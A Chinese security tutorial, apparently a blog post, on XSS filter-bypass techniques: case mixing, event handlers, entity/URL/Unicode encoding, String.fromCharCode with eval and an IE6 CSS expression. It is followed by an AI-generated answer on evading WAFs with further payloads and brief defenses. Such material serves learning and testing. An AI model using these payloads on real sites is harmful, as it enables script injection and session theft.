XSS绕过

本文介绍了XSS攻击的编码绕过方法,包括利用String.fromCharCode进行编码、IE6下的特殊绕过技巧,以及如何在JavaScript事件和属性中利用编码来规避过滤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

关于XSS概念在前面的文中介绍过了,不再赘述。

最基本的用法:

<script>alert('xss');</script>

大小写及重写的绕过:

<SCRIscriptPT>AalLEerRtT('xss');</SCscriptRIPT>

事件绕过:

利用JS事件进行相关绕过:<img src=# onerror=alert('xss');>

相关JS事件:

onabort图像加载被中断
onblur元素失去焦点
onchange用户改变域的内容
onclick鼠标点击某个对象
ondblclick鼠标双击某个对象
onerror当加载文档或图像时发生某个错误
onfocus元素获得焦点
onkeydown某个键盘的键被按下
onkeypress某个键盘的键被按下或按住
onkeyup某个键盘的键被松开
onload某个页面或图像被完成加载
onmousedown某个鼠标按键被按下
onmousemove鼠标被移动
onmouseout鼠标从某元素移开
onmouseover鼠标被移到某元素之上
onmouseup某个鼠标按键被松开
onreset重置按钮被点击
onresize窗口或框架被调整尺寸
onselect文本被选定
onsubmit提交按钮被点击
onunload用户退出页面

编码绕过:

当浏览器接受到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外)、标签的属性中(<a href='xxxx'>)进行实体字符解码变为相应的字符,而不会发挥出其本来该有的功能,如:&#60;被解码为<后仅被当作字符,而不会被当成标签名的起始。既然是字符串,那在href='xx'这些属性值本来就是字符串的地方可以作为一种可能的绕过的手段

如:

<img src=1 onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

上述代码解析后为:<img src=1 οnerrοr=alert(1)>

可以弹窗

 在代码被HTML解释器解释后,如果遇到需要填入url的位置,则该位置交由url解释器解释,如果是js代码的(例如οnclick=""),就js解释器解释,但是注意:javascript:不能用url编码代替,因为javascript:为协议类型,若是使用url编码,会被当作普通字符串,后面的js代码也不会被当作js代码解释

<a href="javascript:%61%6c%65%72%74%28%31%29"></a>

被url解释器解释完后为<a href="javascript:alert(1)"></a>,url中出现了javascript:,指明了后面的语句要当作js执行,所以再次把解释后的字符交给js解释器解释,可以弹窗。

当js解释器在标识符名称(例如函数名,属性名等等)中遇到unicode编码会进行解码,并使其标志符照常生效。而在字符串中遇到unicode编码时会进行解码只会被当作字符串。

<script>\u0061\u006c\u0065\u0072\u0074('xss')</script>

解码后为<script>alert(1)</script>,一样可以弹窗。但如果是:

<script>document.write('\u0039\u0041\u0059\u0097\u0108;\u0101\u0114\u0016\u0040\u0039\u0049\u0049\u0049')</script>

解码后为 <script>document.write(' ');alert('111')</script>就不要指望他可以弹窗了。因为解码出来的');alert('111仍为被当作字符串而不会影响上下文。

 

利用String.fromCharCode进行编码绕过

测试代码:

<?php
function xss_check($str){
    if(preg_match('/script|alert/i', $str))
        return 'error';
    else
        return $str;
}
@$id = $_GET['id'];
echo xss_check($id);
?>

屏蔽了alert(也可能是其他的),此时可以使用编码绕过:

<img src=1 onerror=\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:\u0061\u006c\u0065\u0072\u0074(/xss/);>

将javascript和alert进行unicode编码实现绕过,成功弹窗。

利用String.fromCharCode进行编码绕过:

<img src=2 onerror=eval(String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41))>

其中String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41)是alert(/xss/)编码后的内容,google插件hackbar就有此功能。

IE6下绕过

IE下还可利用javascript:alert(/xss/); 或css

body {
background:black;
xss:expression(alert(/zhuling.wang/));/*IE6下测试*/
}

成功绕过

 

 

<think>好的,用户想了解如何通过XSS漏洞绕过WAF防护机制。首先,我需要回忆一下相关的知识,确保信息准确。根据提供的引用内容,绕过WAF的方法主要有提交方式绕过、混淆伪装、编码转换、利用协议特性等。 用户可能对WAF的工作原理不太清楚,可能需要简单解释一下WAF如何检测恶意输入,比如基于正则表达式或规则库。然后,分点说明不同的绕过技术,每个方法都需要具体的例子,比如在提交方式绕过中,提到GET和POST的区别,或者如何在Cookie中注入。 要注意避免提供可用于实际攻击的详细代码,保持讨论在理论层面。同时,强调这些方法仅用于学习,并提醒遵守法律。可能需要检查引用内容中的例子是否正确,例如混淆伪装的例子是否有误,比如使用<img/src=1 onerror=alert(1)>这样的变体来绕过过滤。 另外,引用中的资料提到的一些方法,比如大小写混淆、标签属性分割,这些都需要具体说明。同时,注意不同WAF可能有不同的规则,所以绕过方法可能因情况而异。 最后,用户可能需要防御建议,所以需要补充如何防范这些绕过手段,比如输入验证、输出编码、CSP等。确保回答结构清晰,分点列出绕过方法和防御措施,并正确引用来源。</think>### 如何绕过WAF实现XSS攻击? #### 一、WAF的检测机制与绕过原理 WAF通常通过正则表达式匹配、关键字过滤或行为分析来拦截XSS攻击载荷。绕过核心在于**混淆恶意代码**或**利用检测逻辑漏洞**,例如: 1. **语法拆分**:如`<scr<script>ipt>`可绕过简单关键字过滤[^3] 2. **编码转换**:使用HTML实体编码、Unicode转义等,如`< → \u003c` 3. **协议混淆**:利用JavaScript伪协议`javascript:alert(1)`的变体 #### 二、具体绕过方法 1. **提交方式绕过** - 将恶意载荷从GET请求改为POST请求或HTTP头部(如Referer) - 示例:通过修改Cookie值注入`Cookie: name=<script>alert(1)</script>`[^1] 2. **标签属性混淆** ```html <img/src="x"onerror=alert(1)> <!-- 省略空格和引号 --> <svg/onload=alert`1`> <!-- 使用反引号 --> ``` 3. **编码嵌套技术** ```javascript // 多重URL编码 %253Cscript%253Ealert(1)%253C/script%253E // Base64解码注入 <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> ``` 4. **利用JavaScript语法特性** ```javascript // 字符串拼接 window['al'+'ert'](1) // Unicode编码 \u0061\u006c\u0065\u0072\u0074(1) ``` 5. **WAF规则库盲区利用** - 使用冷门HTML标签:`<details open ontoggle=alert(1)>` - 新浏览器API:`<audio src=1 onratechange=eval(`alert(1)`)>`[^2] #### 三、防御建议 1. **输入验证**:白名单校验数据类型(如仅允许数字) 2. **输出编码**:根据上下文使用HTML/URL/JavaScript编码 3. **CSP策略**:通过`Content-Security-Policy`限制脚本来源 4. **WAF规则优化**:使用语义分析而非单纯正则匹配
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值